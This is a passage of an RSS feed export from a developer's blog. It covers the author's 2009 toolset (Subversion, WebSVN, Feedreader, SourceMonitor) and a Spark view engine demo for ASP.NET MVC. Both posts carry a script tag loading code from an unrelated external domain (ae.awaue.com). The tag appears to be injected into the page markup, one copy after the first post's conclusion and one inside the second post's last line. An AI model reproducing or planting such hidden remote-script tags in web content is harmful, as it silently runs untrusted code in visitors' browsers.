<p><strong>Subversion</strong> (<b>SVN</b>) is a <a title="Revision control" href="http://en.wikipedia.org/wiki/Revision_control"><u><font color="#0066cc">version control</font></u></a> system initiated in 2000 by <a title="CollabNet" href="http://en.wikipedia.org/wiki/CollabNet"><u><font color="#0066cc">CollabNet</font></u></a> Inc. It is used to maintain current and historical versions of files such as <a title="Source code" href="http://en.wikipedia.org/wiki/Source_code"><u><font color="#0066cc">source code</font></u></a>, web pages, and documentation. Its goal is to be a mostly-compatible successor to the widely used <a title="Concurrent Versions System" href="http://en.wikipedia.org/wiki/Concurrent_Versions_System"><u><font color="#0066cc">Concurrent Versions System</font></u></a> (CVS).</p>
<p>BUT…its 1.3.2….and it has pretty limited support for merges…..ugh…I think you get the picture by now….</p>
<h6>WebSVN</h6>
<p><a href="http://www.websvn.info/" target="_blank">WebSVN</a> offers a view onto your subversion repositories that&#8217;s been designed to reflect the Subversion methodology. You can view the log of any file or directory and see a list of all the files changed, added or deleted in any given revision. You can also view the differences between two versions of a file so as to see exactly what was changed in a particular revision.</p>
<p><a href="http://www.websvn.info/" target="_blank">WebSVN</a> offers the following features:</p>
<ul>
<li>Easy to use interface </li>
<li>Customisable templating system </li>
<li>Colourisation of file listings </li>
<li>Blame view </li>
<li>Log message searching </li>
<li>RSS feed support </li>
<li><a href="http://www.websvn.info/features/"><u><font color="#0066cc">and more&#8230;</font></u></a> </li>
</ul>
<p>And best of all….something about radar…</p>
<h6>Feedreader</h6>
<p>I use <a href="http://www.feedreader.com/download" target="_blank">feedreader</a> to monitor the RSS feeds from WebSVN. This way I know what is going on with my teams projects and&#160; other teams projects which my programs are dependant</p>
<h6>SourceMonitor</h6>
<p><font face="Georgia"><a href="http://www.campwoodsw.com/sourcemonitor.html" target="_blank">SourceMonitor</a> lets you see inside your software source code to find out how much code you have and to identify the relative complexity of your modules. For example, you can use SourceMonitor to identify the code that is most likely to contain defects and thus warrants formal review</font></p>
<ul>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Collects metrics in a fast, single pass through source files.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Measures metrics for source code written in C++, C, C#, VB.NET, Java, Delphi, Visual Basic (VB6) or HTML.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Includes method and function level metrics for C++, C, C#, VB.NET, Java, and Delphi. </font></li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Saves metrics in checkpoints for comparison during software development projects.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Displays and prints metrics in tables and charts.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Operates within a standard Windows GUI or inside your scripts using XML command files.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Exports metrics to XML or CSV (comma-separated-value) files for further processing with other tools.</font> </li>
</ul>
<h1>Conclusion</h1>
<p>I am one stealthy developer…you would think that since I am on the committee that defines developer standards most of these items would be known, understood, or used…..or maybe you think I’m not demoing, teaching, preaching, or begging…well if you think that you don’t know me <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I am shouting, arguing, and fighting…..ugh…</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/' rel='bookmark' title='Permanent Link: A completely biased comparison of ASP.NET MVC and Webforms'>A completely biased comparison of ASP.NET MVC and Webforms</a> <small>I have to admit I am total bias towards MVC...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/toolset-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP.NET MVC New Project Replace Webforms with Spark</title>
		<link>http://eric.polerecky.com/archives/aspnet-mvc-new-project-replace-webforms-with-spark/</link>
		<comments>http://eric.polerecky.com/archives/aspnet-mvc-new-project-replace-webforms-with-spark/#comments</comments>
		<pubDate>Fri, 29 May 2009 13:15:58 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[WebForms]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=343</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Note: This demo is in VB.NET and based on my use of spark on a real project; I can say that this will be the first of a few Spark MVC for VB.NET developers. Spark uses C# in the views; I think its going to be a good way, for me at least, to keep


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p><em>Note: This demo is in VB.NET and based on my use of spark on a real project; I can say that this will be the first of a few Spark MVC for VB.NET developers. Spark uses C# in the views; I think its going to be a good way, for me at least, to keep up to speed with both syntax.</em></p>
<p><em>It seems that bootstrapping Spark in the global.asa (code in general) is not working for namespaces. I&#8217;ll have another post early next week about all my next steps but for now just know you need to add your namespaces to a _global.spark<br />
</em></p>
<p>This demo is the process of getting running with spark and replacing the webforms view engine in a new asp.net mvc project. From soup to nuts as they would say&#8230;I guess.</p>
<p><object width="640" height="498" data="/SparkDemoProject/SparkDemoProject_controller.swf" type="application/x-shockwave-flash"><param name="name" value="csSWF" /><param name="bgcolor" value="#1a1a1a" /><param name="flashvars" value="autostart=false&amp;thumb=FirstFrame.png&amp;thumbscale=45&amp;color=0x000000,0x000000" /><param name="src" value="/SparkDemoProject/SparkDemoProject_controller.swf" /><param name="allowfullscreen" value="true" /><param name="quality" value="best" /></object></p>
<h2>Links:</h2>
<p>Spark Download:</p>
<p><a href="http://sparkviewengine.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=27109">http://sparkviewengine.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=27109</a></p>
<p>Spark Master Layout (Master Pages)</p>
<p><a href="http://sparkviewengine.com/documentation/master-layouts">http://sparkviewengine.com/documentation/master-layouts</a></p>
<p>Project Source:</p>
<p>ASP.NET MVC new project with Spark view engine (coming soon)<script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/aspnet-mvc-new-project-replace-webforms-with-spark/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
